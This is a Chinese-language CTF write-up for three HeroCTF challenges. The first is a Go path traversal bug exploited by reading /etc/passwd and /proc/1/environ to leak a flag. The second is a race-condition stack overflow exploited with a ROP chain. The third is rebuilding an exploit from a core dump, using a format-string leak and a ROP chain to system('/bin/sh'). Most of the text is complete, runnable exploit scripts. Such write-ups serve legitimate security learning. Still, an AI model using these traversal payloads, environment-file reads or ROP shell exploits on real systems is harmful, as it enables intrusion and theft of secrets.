paf_traversal

漏洞点

func HandleDownloadWordlist(c *gin.Context) {
    wordlistDir := getWordlistDir()

    json := DownloadRequest{}
    if err := c.ShouldBindJSON(&json); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
        return
    }

    fileName := path.Base(json.Filename)  // LINE 46: Sanitized but UNUSED!
    filePath := filepath.Join(wordlistDir, json.Filename)  // LINE 47: Uses unsanitized input!

    f, err := os.Open(filePath)  // LINE 49: Opens the unsanitized path
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer f.Close()

    data, err := io.ReadAll(f)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "filename": fileName,  // Returns sanitized name
        "content":  string(data),  // But returns content from unsanitized path!
    })
}

Key Issue: Line 46 calls path.Base(json.Filename) to sanitize the filename, but this result is stored in fileName and only used for the response. Line 47 uses the original unsanitized json.Filename to construct the file path, allowing path traversal!

利用

有路径穿越的bug,但是我们再来看看entrypoints.sh

#!/bin/bash

echo "${FLAG:-HEROCTF_FAKE_FLAG}" > "/app/flag_$(openssl rand -hex 8).txt"
chmod 444 /app/flag_*.txt
unset FLAG

/app/cracker/cracker &
cd /app/api/ && ./api

存放flag文件的名字是随机的,爆破也很难

再来看看Dockerfile

# => BUILDER
FROM golang:1.25-trixie@sha256:a02d35efc036053fdf0da8c15919276bf777a80cbfda6a35c5e9f087e652adfc AS builder

RUN apt-get update && \
    apt-get install -y --no-install-recommends build-essential make ca-certificates libssl-dev && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /src

COPY ./api/ ./api/
COPY ./cracker/ ./cracker/

# Build the Go binary
WORKDIR /src/api/
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \
    go build -ldflags="-s -w" -o api .

# Build the C binary
WORKDIR /src/cracker
RUN make

# => RUNTIME
FROM debian:trixie@sha256:8f6a88feef3ed01a300dafb87f208977f39dccda1fd120e878129463f7fa3b8f AS runtime

RUN apt-get update && \
    apt-get install -y --no-install-recommends openssl && \
    rm -rf /var/lib/apt/lists/*

RUN useradd -m app -d /app/

COPY ./entrypoint.sh /entrypoint.sh
# COPY --from=builder /src/api/ /app/api/
# COPY --from=builder /src/cracker/ /app/cracker/
COPY ./api/ /app/api/
COPY ./cracker/ /app/cracker/

RUN chmod +x /entrypoint.sh && \
    chown app:app -R /app/

USER app
WORKDIR /app/

CMD ["/entrypoint.sh"]

其中entrypoint.sh是root权限运行的,那么./api有着root权限

在 Linux 系统中(包括 Docker 容器),PID 1 是第一个启动的进程,它通常是系统的 initentrypoint 进程

/proc 文件系统: /proc 是一个虚拟文件系统,用于提供关于内核和进程的信息。/proc/1 目录包含了关于 PID 1 进程的所有信息(例如其命令行、文件描述符、内存使用情况等)。

/proc 文件系统的读取权限在 Linux 中设计得非常精妙,旨在提供进程信息的同时,保护敏感数据。


/proc 文件系统的基本读取权限

/proc 目录下的权限主要依赖于文件或目录所关联的 进程所有者当前访问用户

1. 主目录权限 (/proc)

  • 权限: 默认权限通常是 dr-xr-xr-x (即 555)。
  • 含义: 所有人都可以进入 /proc 目录并查看其内容(主要是列出进程 ID 目录)。

2. 进程信息目录 (/proc/[PID])

这是最关键的部分,例如 /proc/1/proc/1234

目录/文件权限所有者可读取的用户备注
/proc/[PID]该 PID 进程的 所有者所有者Root (UID 0)只有 Root 或进程所有者可以查看大部分敏感子文件。
/proc/[PID]/cmdline该 PID 进程的 所有者任何人所有人都可以读取进程的命令行参数。
/proc/[PID]/exe该 PID 进程的 所有者Root链接到执行文件,通常只有 Root 可以跟随链接(防止普通用户获取不属于他们的程序)。
/proc/[PID]/environ该 PID 进程的 所有者Root包含进程的环境变量,通常只有 Root 可以读取,因为它可能包含密码或敏感 token。
/proc/[PID]/fd/*该 PID 进程的 所有者Root文件描述符目录,通常只有 Root 或进程所有者可以查看。

换句话说,我们可以读取/proc/1/environ来获取entrypoint.sh启动时的FLAG环境变量

由此便可以得到FLAG

#!/usr/bin/env python3
"""
Improved exploit for paf_traversal CTF challenge

Key insights:
1. Download endpoint has path traversal
2. Cracker reads wordlist files and prints each line
3. Need to enumerate /proc to find flag file or leak filename
"""

import requests
import sys
import re
import time
from typing import Optional, List

class Exploit:
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()

    def download_file(self, path: str) -> Optional[str]:
        """Exploit path traversal in /api/wordlist/download"""
        url = f"{self.base_url}/api/wordlist/download"
        payload = {"filename": path}

        try:
            resp = self.session.post(url, json=payload, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                return data.get("content")
            else:
                return None
        except Exception as e:
            return None

    def enumerate_proc_pids(self, max_pid: int = 100) -> List[int]:
        """Find active PIDs by trying to read /proc/[pid]/cmdline"""
        print(f"[*] Enumerating PIDs in /proc (1-{max_pid})...")
        active_pids = []

        for pid in range(1, max_pid):
            content = self.download_file(f"../../../proc/{pid}/cmdline")
            if content:
                # Clean up cmdline (null-separated)
                cmdline = content.replace('\x00', ' ').strip()
                if cmdline:
                    print(f"  [+] PID {pid}: {cmdline[:80]}")
                    active_pids.append(pid)

        return active_pids

    def check_proc_maps(self, pid: int) -> Optional[str]:
        """Check /proc/[pid]/maps for memory mappings - might show flag file"""
        print(f"[*] Checking /proc/{pid}/maps...")
        content = self.download_file(f"../../../proc/{pid}/maps")

        if content and "flag_" in content:
            print(f"[+] Found 'flag_' reference in maps!")
            matches = re.findall(r'flag_([0-9a-f]{8})\.txt', content)
            if matches:
                return matches[0]
        return None

    def check_proc_environ(self, pid: int) -> Optional[str]:
        """Check /proc/[pid]/environ for environment variables"""
        print(f"[*] Checking /proc/{pid}/environ...")
        content = self.download_file(f"../../../proc/{pid}/environ")

        if content and "flag_" in content.lower():
            print(f"[+] Found 'flag' in environ!")
            # Parse null-separated environ
            env_vars = content.split('\x00')
            for var in env_vars:
                if 'flag' in var.lower():
                    print(f"    {var}")
                    matches = re.findall(r'flag_([0-9a-f]{8})\.txt', var)
                    if matches:
                        return matches[0]
        return None

    def check_proc_fd(self, pid: int, max_fd: int = 20) -> Optional[str]:
        """Check /proc/[pid]/fd/[num] for open file descriptors"""
        print(f"[*] Checking /proc/{pid}/fd/ (0-{max_fd})...")

        for fd in range(max_fd):
            # Try reading the symlink target via /proc/[pid]/fd/[num]
            content = self.download_file(f"../../../proc/{pid}/fd/{fd}")
            if content:
                # Check if it contains flag content
                if content.startswith("HERO") or "Hero{" in content or "hero{" in content:
                    print(f"[+] FOUND FLAG in /proc/{pid}/fd/{fd}!")
                    return content
                # Print what we found
                preview = content[:100].replace('\n', '\\n')
                print(f"  [>] fd {fd}: {preview}...")

        return None

    def check_proc_cwd(self, pid: int) -> Optional[List[str]]:
        """Check /proc/[pid]/cwd to see working directory"""
        # We can't list directories directly, but we can try common filenames
        print(f"[*] Trying to read files in /proc/{pid}/cwd/...")

        # Try reading common files that might exist
        test_files = [
            "entrypoint.sh",
            "api",
            "cracker",
            ".dockerenv",
        ]

        for filename in test_files:
            content = self.download_file(f"../../../proc/{pid}/cwd/{filename}")
            if content:
                print(f"  [+] Found: {filename}")
                if "flag_" in content:
                    matches = re.findall(r'flag_([0-9a-f]{8})\.txt', content)
                    if matches:
                        return matches

        return None

    def try_ls_via_bash_history(self) -> Optional[str]:
        """Try to find bash history that might contain ls commands"""
        print("[*] Checking for bash history files...")

        history_paths = [
            "../../../root/.bash_history",
            "../../../home/app/.bash_history",
            "../../../app/.bash_history",
        ]

        for path in history_paths:
            content = self.download_file(path)
            if content and "flag_" in content:
                print(f"[+] Found flag reference in {path}!")
                matches = re.findall(r'flag_([0-9a-f]{8})\.txt', content)
                if matches:
                    return matches[0]

        return None

    def try_docker_env(self) -> Optional[str]:
        """Try reading Docker environment files"""
        print("[*] Checking Docker environment...")

        docker_files = [
            "../../../proc/1/environ",
            "../../../proc/self/environ",
            "../../../.dockerenv",
        ]

        for path in docker_files:
            content = self.download_file(path)
            if content:
                if "FLAG" in content or "flag_" in content:
                    print(f"[+] Found potential flag in {path}!")
                    env_vars = content.split('\x00')
                    for var in env_vars:
                        print(f"    {var}")
                        if 'FLAG=' in var:
                            return var.split('FLAG=')[1]
                        matches = re.findall(r'flag_([0-9a-f]{8})\.txt', var)
                        if matches:
                            return matches[0]

        return None

    def try_proc_self_status(self) -> None:
        """Read /proc/self/status for info"""
        print("[*] Reading /proc/self/status...")
        content = self.download_file("../../../proc/self/status")
        if content:
            # Look for working directory or other clues
            for line in content.split('\n'):
                if 'Name' in line or 'Pid' in line:
                    print(f"  {line}")

    def read_proc_mounts(self) -> None:
        """Check /proc/mounts for mounted filesystems"""
        print("[*] Reading /proc/mounts...")
        content = self.download_file("../../../proc/mounts")
        if content:
            for line in content.split('\n'):
                if '/app' in line or 'flag' in line:
                    print(f"  {line}")

    def try_glob_via_shell_expansion(self) -> Optional[str]:
        """
        Try to trigger shell expansion somehow
        This likely won't work as Go doesn't use shell for file ops
        """
        print("[*] Attempting shell glob patterns (unlikely to work)...")

        patterns = [
            "../../flag_[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f].txt",
            "../../flag_*.txt",
            "../../flag_????????.txt",
        ]

        for pattern in patterns:
            content = self.download_file(pattern)
            if content and content.startswith("HERO"):
                print(f"[+] Pattern worked: {pattern}")
                return content

        print("  [-] As expected, glob patterns don't work with Go's os.Open()")
        return None

    def systematic_proc_enumeration(self) -> Optional[str]:
        """Systematically enumerate /proc to find flag filename"""
        print("\n" + "="*60)
        print("SYSTEMATIC /proc ENUMERATION")
        print("="*60 + "\n")

        # Step 1: Find active PIDs
        pids = self.enumerate_proc_pids(max_pid=50)
        print(f"\n[*] Found {len(pids)} active processes\n")

        # Step 2: Check each PID for clues
        for pid in pids:
            print(f"\n--- Examining PID {pid} ---")

            # Check environ
            hex_val = self.check_proc_environ(pid)
            if hex_val:
                return hex_val

            # Check maps
            hex_val = self.check_proc_maps(pid)
            if hex_val:
                return hex_val

            # Check open file descriptors
            flag_content = self.check_proc_fd(pid, max_fd=10)
            if flag_content:
                print(f"\n[+] FOUND FLAG: {flag_content}")
                return flag_content

            # Check cwd
            matches = self.check_proc_cwd(pid)
            if matches:
                return matches[0]

        return None

    def run(self):
        """Main exploit routine"""
        print("="*60)
        print("PAF Traversal - IMPROVED Exploit v2")
        print("="*60)
        print()

        # Verify vulnerability
        print("[*] Verifying path traversal vulnerability...")
        passwd = self.download_file("../../../etc/passwd")
        if passwd and "root:" in passwd:
            print("[+] Path traversal confirmed!\n")
        else:
            print("[-] Path traversal test failed!")
            return

        # Try Docker environment first (quick check)
        result = self.try_docker_env()
        if result:
            if result.startswith("HERO"):
                print(f"\n[+] FLAG FOUND: {result}")
                return
            else:
                # It's a hex value, read the file
                flag = self.download_file(f"../../flag_{result}.txt")
                if flag:
                    print(f"\n[+] FLAG FOUND: {flag}")
                    return

        # Try bash history
        hex_val = self.try_ls_via_bash_history()
        if hex_val:
            flag = self.download_file(f"../../flag_{hex_val}.txt")
            if flag:
                print(f"\n[+] FLAG FOUND: {flag}")
                return

        # Try glob patterns (unlikely)
        flag = self.try_glob_via_shell_expansion()
        if flag:
            print(f"\n[+] FLAG FOUND: {flag}")
            return

        # Do systematic proc enumeration
        result = self.systematic_proc_enumeration()

        if result:
            if result.startswith("HERO") or result.startswith("Hero"):
                print(f"\n[+] FLAG FOUND: {result}")
            else:
                # It's a hex value
                flag = self.download_file(f"../../flag_{result}.txt")
                if flag:
                    print(f"\n[+] FLAG FOUND: {flag}")
                else:
                    print(f"\n[+] Found hex value: {result}")
                    print(f"[*] Try: ../../flag_{result}.txt")
        else:
            print("\n[-] Could not find flag filename")
            print("[*] Additional ideas:")
            print("    1. Check if cracker process can be used to read flag")
            print("    2. Look for log files that might contain the filename")
            print("    3. Try timing-based enumeration")
            print("    4. Check for other info disclosure vectors")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        print(f"Example: {sys.argv[0]} http://dyn12.heroctf.fr:12060")
        sys.exit(1)

    target = sys.argv[1]
    exploit = Exploit(target)
    exploit.run()

storycontest

多线程,收到连接后启动client_thread

image-20251201234403637-1764606537611-1

是一个菜单

  1. 更改全局变量g_story_len,并且根据g_story_len读取内容赋值给全局字符串last_story
  2. 输出last_story
  3. 输出全局变量juru_gift的值
  4. 如果全局变量bonus_enabled为1,则输出flag
  5. 退出

漏洞点在case 1

image-20251201234742226

读取g_story_len之后有一个usleep 0.5s的空间来进行竞态,此时再开一个线程把g_story_len改为一个很大的值,就可以溢出buf ,是一个栈溢出的漏洞。

同时还有两个后门函数

  1. gift

    image-20251201234953505

  2. bonus_entry

    image-20251201235006659

思路是先调用gift函数,将jury_gift修改为stdout,然后通过case 3泄露libc

再调用bonus_entry函数,并且rdi需要是322420958,即0x1337C0DE,修改bonus_enabled为1,通过case 4获取flag

gift函数和bonus_entry函数都是正常无法调用的,通过前面的栈溢出漏洞调用即可。

流程如下

  1. 开一个主线程A,线程B,C,线程B选择case 1,线程C修改g_story_len,线程B栈溢出覆盖返回地址为gift,主线程A选择case 3泄露libc
  2. 由于1泄露了libc,所以接下来就有了pop rdi; retgadgets,可以控制rdi。再开线程D,E,线程D选择case 1,线程D修改g_story_len,线程D栈溢出进行ROP,使得bonus_enabled为1
  3. 主线程A选择case 4输出flag即可。

坑点

  1. 如果一个线程崩了(比如ret到了非法地址),整个程序也就崩了,我们得调用pthread_exit()来合法终止进行ROP的线程
  2. call pthread_exit()时候的RBP需要是合法地址,否则还会崩(因为后面栈帧会恢复到这个时候并且进行一些操作)
  3. 调用pthread_exit()RSP需要0x10对齐
#!/usr/bin/env python3
"""
StoryContest PWN Exploit
=========================

Exploit strategy:
1. Keep main connection alive
2. Thread 2: Race condition overflow → call gift() → leak libc via stdout
3. Main thread: Call show_jury_info() to get leaked address
4. Thread 3: Race condition overflow → ROP to bonus_entry(0x1337C0DE)
5. Main thread: Call show_public_results() → get flag

Author: AI PWN Master
"""

from pwn import *
import threading
import time

# ==========================
# Configuration
# ==========================
BINARY = './storycontest_patched'
HOST = 'dyn14.heroctf.fr'  # Change to remote host
PORT = 14369

# Addresses (No PIE, fixed)
GIFT_ADDR = 0x401715
BONUS_ENTRY_ADDR = 0x4015fc
MAGIC_VALUE = 0x1337C0DE
MAIN_ADDR = 0x401C8A
RET = 0x000000000040101a
# Libc configuration
LIBC_PATH = './libc.so.6'  # Adjust if needed

# Gadgets (found by find_gadgets.py)
LIBC_POP_RDI_OFFSET = 0x000000000010f78b    # pop rdi; ret
LIBC_STDOUT_OFFSET = 0x2045c0     # stdout symbol
LIBC_SYSTEM_OFFSET = 0x58750      # system() (if needed)

# Exploit parameters
BUF_OFFSET = 168  # buf to return address: 0xA0 + 8
RACE_SLEEP = 0.25  # Sleep time for race condition (adjust as needed)

# ==========================
# Context Setup
# ==========================
context.binary = elf = ELF(BINARY)
context.log_level = 'info'
# context.log_level = 'debug'

try:
    libc = ELF(LIBC_PATH)
except:
    warn("Libc not found, will try to leak and use")
    libc = None


# ==========================
# Helper Functions
# ==========================
def connect_to_server():
    """Establish connection to the server"""
    if args.REMOTE:
        return remote(HOST, PORT)
    else:
        # For local testing
        return remote(HOST, PORT)


def send_menu_choice(conn, choice):
    """Send menu choice"""
    conn.sendlineafter(b'> ', str(choice).encode())


def race_condition_overflow(payload, conn=None):
    """
    Trigger race condition to overflow buffer

    Strategy:
    1. Send legit length (128) to pass check
    2. Another thread modifies global g_story_len
    3. usleep(500ms) window for race
    4. read() uses modified g_story_len → overflow
    """
    if conn is None:
        conn = connect_to_server()

    try:
        # Menu choice 1: Submit a story
        send_menu_choice(conn, 1)

        # Send legit length
        conn.sendlineafter(b'story:', b'128')

        # Send overflow payload
        
        conn.sendafter("Now type your story:\n", payload)
        #conn.interactive()
        # Wait for response
        time.sleep(0.5)
        
    except Exception as e:
        warn(f"Race condition exploit failed: {e}")
    finally:
        try:
            conn.close()
        except:
            pass


def race_modifier_thread(target_len=10000):
    """
    Helper thread to modify global g_story_len
    This creates the TOCTOU race condition
    """
    try:
        c = connect_to_server()
        send_menu_choice(c, 1)
        sleep(0.2)
        c.sendlineafter(b'story:', str(target_len).encode())
        # Don't send data, just modify the global variable
        c.close()
    except:
        pass


def trigger_race_with_modifier(payload):
    """Launch race condition with helper thread"""
    # Start modifier thread
    t = threading.Thread(target=race_modifier_thread, daemon=True)
    t.start()
    #pause()
    race_condition_overflow(payload)
    
    


# ==========================
# Exploit Stages
# ==========================

def stage1_leak_libc(main_conn):
    """
    Stage 1: Leak libc address via gift() function

    Returns: libc base address
    """
    info("=" * 60)
    info("STAGE 1: Leaking libc via gift()")
    info("=" * 60)

    # Build payload to call gift()
    payload = flat(
        b'A' * BUF_OFFSET,
        p64(RET),
        p64(GIFT_ADDR),
    )

    info(f"Payload length: {len(payload)}")
    info(f"Target: gift() @ {hex(GIFT_ADDR)}")

    # Trigger race condition to call gift()
    info("Triggering race condition to call gift()...")
    trigger_race_with_modifier(payload)

    # Wait for gift() to execute
    time.sleep(1)
    #main_conn.interactive()
    # Use main connection to leak the address
    info("Calling show_jury_info() to leak jury_gift...")
    send_menu_choice(main_conn, 3)  # Show jury info

    # Parse response
    response = main_conn.recvuntil(b'=== StoryJury ===', timeout=2)
    print(response)
    info(f"Response:\n{response.decode()}")

    # Extract leaked address
    if b'Jury gift:' in response:
        leak_line = [l for l in response.split(b'\n') if b'Jury gift:' in l][0]
        leak_str = leak_line.split(b':')[1].strip()
        leaked_addr = int(leak_str, 16)

        success(f"Leaked address: {hex(leaked_addr)}")

        # Calculate libc base
        libc_base = leaked_addr - LIBC_STDOUT_OFFSET
        success(f"Libc base: {hex(libc_base)}")

        # Verify if possible
        if libc and libc.symbols.get('stdout'):
            expected_base = leaked_addr - libc.symbols['stdout']
            if expected_base == libc_base:
                success("Libc base calculation verified!")
            else:
                warn(f"Mismatch: expected {hex(expected_base)}")

        return libc_base
    else:
        error("Failed to leak address!")
        return None


def stage2_activate_bonus(libc_base):
    """
    Stage 2: Activate bonus mode by calling bonus_entry(0x1337C0DE)

    Uses ROP chain:
      pop rdi; ret
      0x1337C0DE
      bonus_entry
    """
    info("=" * 60)
    info("STAGE 2: Activating bonus mode")
    info("=" * 60)

    # Build ROP chain
    if libc:
        # Try pwntools ROP first
        pop_rdi_addr = libc_base + LIBC_POP_RDI_OFFSET
    else:
        # Use hardcoded offset
        pop_rdi_addr = libc_base + LIBC_POP_RDI_OFFSET

    info(f"pop rdi; ret @ {hex(pop_rdi_addr)}")
    # Build payload
    
    payload = flat(
        b'B' * (BUF_OFFSET),
        p64(pop_rdi_addr),       # pop rdi; ret
        p64(MAGIC_VALUE),         # rdi = 0x1337C0DE
        p64(BONUS_ENTRY_ADDR),   # bonus_entry()
        p64(GIFT_ADDR)
    )

    info(f"Payload length: {len(payload)}")
    info(f"ROP chain: pop_rdi → {hex(MAGIC_VALUE)} → bonus_entry")

    # Trigger race condition
    info("Triggering race condition to activate bonus...")
    trigger_race_with_modifier(payload)

    # Wait for execution
    time.sleep(1)

    success("Bonus mode should now be activated!")
    return True


def stage3_get_flag(main_conn):
    #pause()
    """
    Stage 3: Get the flag via show_public_results()
    """
    info("=" * 60)
    info("STAGE 3: Getting the flag")
    info("=" * 60)

    # Call show_public_results (menu choice 4)
    info("Calling show_public_results()...")
    send_menu_choice(main_conn, 4)

    # Receive flag
    response = main_conn.recvuntil(b'===', timeout=3)

    if b'Flag:' in response or b'Hero{' in response:
        success("FLAG CAPTURED!")
        print("\n" + "=" * 60)
        print(response.decode())
        print("=" * 60 + "\n")
        return True
    else:
        error("Failed to get flag!")
        print(response.decode())
        return False


# ==========================
# Main Exploit
# ==========================
def exploit():
    """Main exploit function"""
    info("=" * 60)
    info("StoryContest Exploit Starting...")
    info("=" * 60)

    # Establish main connection
    info("Connecting to server...")
    main_conn = connect_to_server()
    success("Main connection established")

    # Receive initial banner
    main_conn.recvuntil(b'===')

    try:
        # Stage 1: Leak libc
        libc_base = stage1_leak_libc(main_conn)
        if libc_base is None:
            error("Stage 1 failed!")
            return

        # Stage 2: Activate bonus
        if not stage2_activate_bonus(libc_base):
            error("Stage 2 failed!")
            return

        # Stage 3: Get flag
        if stage3_get_flag(main_conn):
            success("Exploit successful!")
        else:
            error("Stage 3 failed!")

    finally:
        main_conn.close()


# ==========================
# Alternative: Manual mode
# ==========================
def manual_mode():
    """Interactive mode for manual exploitation"""
    conn = connect_to_server()
    conn.interactive()


# ==========================
# Entry Point
# ==========================
if __name__ == '__main__':
    if args.MANUAL:
        manual_mode()
    else:
        exploit()

本地复现

image-20251202000121219

crash_players

一道有意思的题,题目没有给binary,只给了一个core dump文件,也就是进行某个失败exp时的dump信息

写WP的时候没有远程环境,口述一下

有两个阶段的输入

  1. 在提示Name : 后输入一定内容,程序会回显
  2. 在提示Description : 后输入一定内容,程序不会回显

strings core简单查看一下,关键的有

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA疑似栈溢出时的填充

%4$p.%7$p.%19$p格式化字符串利用

0x1.0x7ffe59ca1160.0x7fe92c7ae24a格式化字符串输出(显然第二个是栈地址,第三个是libc地址)

接下来测试远程程序。

提示Name : 后输入%4$p.%7$p.%19$p,成功泄露地址(只能口述,没有环境:(

接下来gdb进一步查看core文件gdc -c core

image-20251202000844613

可以推测在提示Description : 后输入一定内容,存在栈溢出,推测崩的时候RBP0x4141414141414141,显然进行了leave,而RIP还是正常地址,不是libc地址,所以死在了ret

查看libc基地址,从而计算AAAAAAAA后的3个libc地址偏移,顺便看看是什么

计算后得出是pop rdi; ret,binsh_addr,system

接下来看看ROP填充的A的数量,为0x30

image-20251202001328571

通过上图发现ret的时候rsp还指着AAAAAAAA,所以想要覆盖到返回地址填充0x28即可

payload = b'A' * 0x28 + p64(libc_base + 0x277e5) + p64(libc_base + 0x197031) + p64(libc_base + 0x4c490)

这样发给Description:后并没有成功get shell,原因是system没有0x10对齐,所以应该改成

payload = b'A' * 0x28 + p64(libc_base + 0x277e5) + p64(libc_base + 0x197031) + p64(libc_base + 0x277e5 + 1) + p64(libc_base + 0x4c490)

p64(libc_base + 0x277e5 + 1)是ret

即可

#!/usr/bin/env python3
from pwn import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
libcname = "./libc.so.6"
host = "dyn07.heroctf.fr"
port = 11454
if libcname:
    libc = ELF(libcname)
def sa(a,b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

sh=start()
payload1 = b"%4$p.%7$p.%19$p"
sla("Name : ", payload1)
sh.recvuntil(b".")
stack = int(sh.recv(14), base = 16)
sh.recv(1)
libc_base = int(sh.recv(14), base = 16) - 0x2724a
log.success("libc_base: " + hex(libc_base))
payload2 = b'A' * 0x28 + p64(libc_base + 0x277e5) + p64(libc_base + 0x197031) + p64(libc_base + 0x277e5 + 1) + p64(libc_base + 0x4c490) + p64(0) * 2

sla("Description : ", payload2)
sh.interactive()